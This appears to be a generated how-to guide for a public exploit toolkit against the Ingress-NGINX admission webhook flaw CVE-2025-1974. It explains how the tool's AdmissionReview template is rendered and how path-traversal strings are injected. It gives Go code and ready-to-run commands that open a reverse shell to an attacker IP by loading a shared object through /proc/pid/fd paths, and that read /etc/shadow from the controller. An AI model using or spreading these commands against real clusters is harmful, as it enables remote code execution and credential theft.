# How to Use the validate.json Admission Webhook Template in IngressNightmare

> Learn to use the validate.json webhook template in IngressNightmare CVE-2025-1974. Inject exploit-specific annotations and control file paths for POST requests to the Ingress-NGINX admission webhook.

- Repository: [Esonhugh Skyworship/ingressnightmare-cve-2025-1974-exps](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps)
- Tags: how-to-guide
- Published: 2026-03-01

---

**The [`validate.json`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/validate.json) template is an embedded AdmissionReview JSON payload that uses Go templating to inject exploit-specific annotations and replaces the placeholder `foobar` with attacker-controlled file paths before being POSTed to the Ingress-NGINX admission webhook.**

The `esonhugh/ingressnightmare-cve-2025-1974-exps` repository provides a weaponized exploit toolkit for CVE-2025-1974 and related vulnerabilities. Central to its operation is the [`validate.json`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/validate.json) admission webhook template, which structures the Kubernetes AdmissionReview request used to trick the NGINX controller into loading malicious shared objects. Understanding how to manipulate this template is essential for both running the default exploits and crafting custom attack scenarios.

## What Is the validate.json Template?

The [`validate.json`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/validate.json) file located at [`nginx-ingress/validate.json`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/nginx-ingress/validate.json) is a JSON representation of a Kubernetes `AdmissionReview` object. It contains Go template directives (e.g., `{{if .IsAuthURL}}`) that conditionally inject malicious annotations depending on which CVE variant is being exploited.

The template includes a critical placeholder string **`foobar`**. During the exploit execution, this placeholder is replaced with a path traversal string pointing to either a specific file on the controller's filesystem (e.g., `/etc/passwd`) or a `/proc/<pid>/fd/<fd>` entry used to load a malicious shared object.

## How the Template Is Loaded and Rendered

### Embedding the Default Template

The default template is embedded directly into the compiled binary using Go's `//go:embed` directive. In [`nginx-ingress/exploit.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/nginx-ingress/exploit.go), lines 28-30 declare the embedded resource:

```go
//go:embed validate.json
var validateJsonTmpl string

```

This ensures the exploit can run immediately without external file dependencies, using the stock AdmissionReview structure provided by the repository.

### Overriding with Custom Templates

Users can supply a custom JSON template at runtime using the `--validate-json-template` (or `-t`) CLI flag defined in [`main.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/main.go) (lines 65-67). When this flag is provided, the tool calls `nginx_ingress.SetValidateJsonTmpl` to replace the embedded content with the user-supplied file's contents before any exploit logic executes.

```bash
ingress-nightmare \
  --validate-json-template ./my-custom-template.json \
  --ingress-webhook-url https://controller:443

```

### Rendering the Template

The `RenderValidateJSON` function (exploit.go, lines 39-50) processes the template using Go's `text/template` engine. It evaluates conditional blocks based on the selected exploit method (e.g., `IsAuthURL`, `IsMirrorWithUID`, `IsAuthTLSMatchCN`) and stores the resulting JSON in the global `validateJson` variable.

```go
func RenderValidateJSON(method string) error {
    tmpl, err := template.New("validate").Parse(validateJsonTmpl)
    if err != nil {
        return err
    }
    // ... executes template with method-specific data ...
}

```

## Substituting the foobar Placeholder

Once the base AdmissionReview JSON is rendered, the exploit must inject the actual target path. This is achieved by replacing the `foobar` placeholder.

### Targeting Specific File Paths

For the "Only Admission" mode (`--only-admission`), the `ValidateWebhookSpecificFilePath` function (exploit.go, lines 59-70) constructs a path traversal string:

```go
evilUrl := "../../../../.." + targetFilePath  // targetFilePath is user input like "/etc/passwd"
fullPayload := strings.Replace(validateJson, "foobar", evilUrl, 1)

```

The resulting `fullPayload` is then POSTed to the admission webhook endpoint.

### Exploiting /proc/pid/fd Entries

In the default reverse-shell mode, the `ValidateWebHook` function (exploit.go, lines 65-77) iterates through process IDs and file descriptors, replacing `foobar` with paths like `../../../../../../proc/1234/fd/5`. When the NGINX controller follows this symlink, it loads the attacker-controlled shared object uploaded in parallel, executing the reverse shell.

```go
evilUrl := fmt.Sprintf("../../../../../../proc/%d/fd/%d", pid, fd)
fullPayload := strings.Replace(validateJson, "foobar", evilUrl, 1)
// POST fullPayload to webhook

```

## Practical Usage Examples

### Display the Built-in Template

To inspect the default AdmissionReview structure without executing an exploit, use the `show-json` sub-command. This prints the embedded [`validate.json`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/validate.json) content to stdout, allowing you to verify the template structure or save it for modification.

```bash
ingress-nightmare show-json

```

### Use a Custom Template File

Supply a modified JSON template to alter the AdmissionReview metadata or annotations. Ensure your custom file contains the `foobar` placeholder where you want the path traversal injected.

```bash
ingress-nightmare \
  --validate-json-template ./custom-validate.json \
  --ingress-webhook-url https://ingress-nginx-controller-admission.ingress-nginx.svc:443 \
  --mode r \
  --reverse-shell-ip 10.0.0.5 \
  --reverse-shell-port 4444

```

### Target a Specific File Path

Use the "Only Admission" mode to test arbitrary file read via the admission webhook. This replaces `foobar` with a direct path to the target file.

```bash
ingress-nightmare \
  --only-admission \
  --only-admission-file /etc/shadow \
  --ingress-webhook-url https://ingress-nginx-controller-admission.ingress-nginx.svc:443

```

### Execute Reverse Shell via /proc/fd Traversal

In the default mode, the tool automatically iterates through `/proc/<pid>/fd/<fd>` paths, replacing `foobar` dynamically to locate the uploaded shared object and trigger code execution.

```bash
ingress-nightmare \
  --mode r \
  --reverse-shell-ip 10.244.0.5 \
  --reverse-shell-port 4444 \
  --ingress-webhook-url https://ingress-nginx-controller-admission.ingress-nginx.svc:443

```

## Summary

- The **[`validate.json`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/validate.json)** admission webhook template is an embedded Go template that structures the Kubernetes `AdmissionReview` JSON payload used to exploit CVE-2025-1974.
- The template is compiled into the binary via `//go:embed` in [`nginx-ingress/exploit.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/nginx-ingress/exploit.go), but can be overridden at runtime using the `--validate-json-template` flag.
- The **`foobar`** placeholder is the critical injection point; the tool replaces this string with either a direct file path (for arbitrary file read) or a `/proc/<pid>/fd/<fd>` path (for shared object loading).
- Rendering occurs in `RenderValidateJSON`, which processes conditional annotations based on the selected exploit method (`IsAuthURL`, `IsMirrorWithUID`, etc.).
- Use the `show-json` command to inspect the template, or provide a custom JSON file to modify the AdmissionReview metadata while maintaining the `foobar` placeholder for successful exploitation.

## Frequently Asked Questions

### What is the purpose of the foobar placeholder in validate.json?

The `foobar` string acts as a marker that the exploit engine replaces with a path traversal payload. According to the source code in [`nginx-ingress/exploit.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/nginx-ingress/exploit.go), functions like `ValidateWebhookSpecificFilePath` and `ValidateWebHook` perform a string replacement (`strings.Replace(validateJson, "foobar", evilUrl, 1)`) to inject either a target file path (e.g., `/etc/passwd`) or a `/proc/<pid>/fd/<fd>` descriptor path before sending the AdmissionReview to the webhook.

### Can I modify the validate.json template without recompiling the tool?

Yes. The tool supports runtime template overriding via the `--validate-json-template` (or `-t`) CLI flag defined in [`main.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/main.go). When provided, the application calls `nginx_ingress.SetValidateJsonTmpl` to load your custom JSON file into the global `validateJsonTmpl` variable, replacing the embedded default. Ensure your custom template retains the `foobar` placeholder so the exploit logic can correctly inject the malicious path.

### How does the tool know which CVE variant to use when rendering the template?

The `RenderValidateJSON` function in [`nginx-ingress/exploit.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/nginx-ingress/exploit.go) accepts an `exploitMethod` string (e.g., `IsAuthURL`, `IsMirrorWithUID`, `IsAuthTLSMatchCN`). It constructs a data struct containing boolean fields corresponding to the selected method and executes the template with this context. The [`validate.json`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/validate.json) template uses Go template conditionals (`{{if .IsAuthURL}}`) to include only the annotations relevant to the specific CVE being exploited, ensuring the AdmissionReview object triggers the correct vulnerable code path in the Ingress-NGINX controller.

### What happens if the admission webhook rejects the AdmissionReview request?

If the webhook returns a non-200 status or denies the admission, the exploit functions `ValidateWebhookSpecificFilePath` and `ValidateWebHook` will not see the expected "Code Injected!" string in the response body. The tool uses the `gout` HTTP client to POST the payload, and the current implementation iterates through potential file descriptors or paths until a successful response indicates the shared object was loaded or the file was read. A rejection simply causes the loop to continue to the next iteration (next PID/FD combination or next target file), and the user sees no successful injection message for that specific attempt.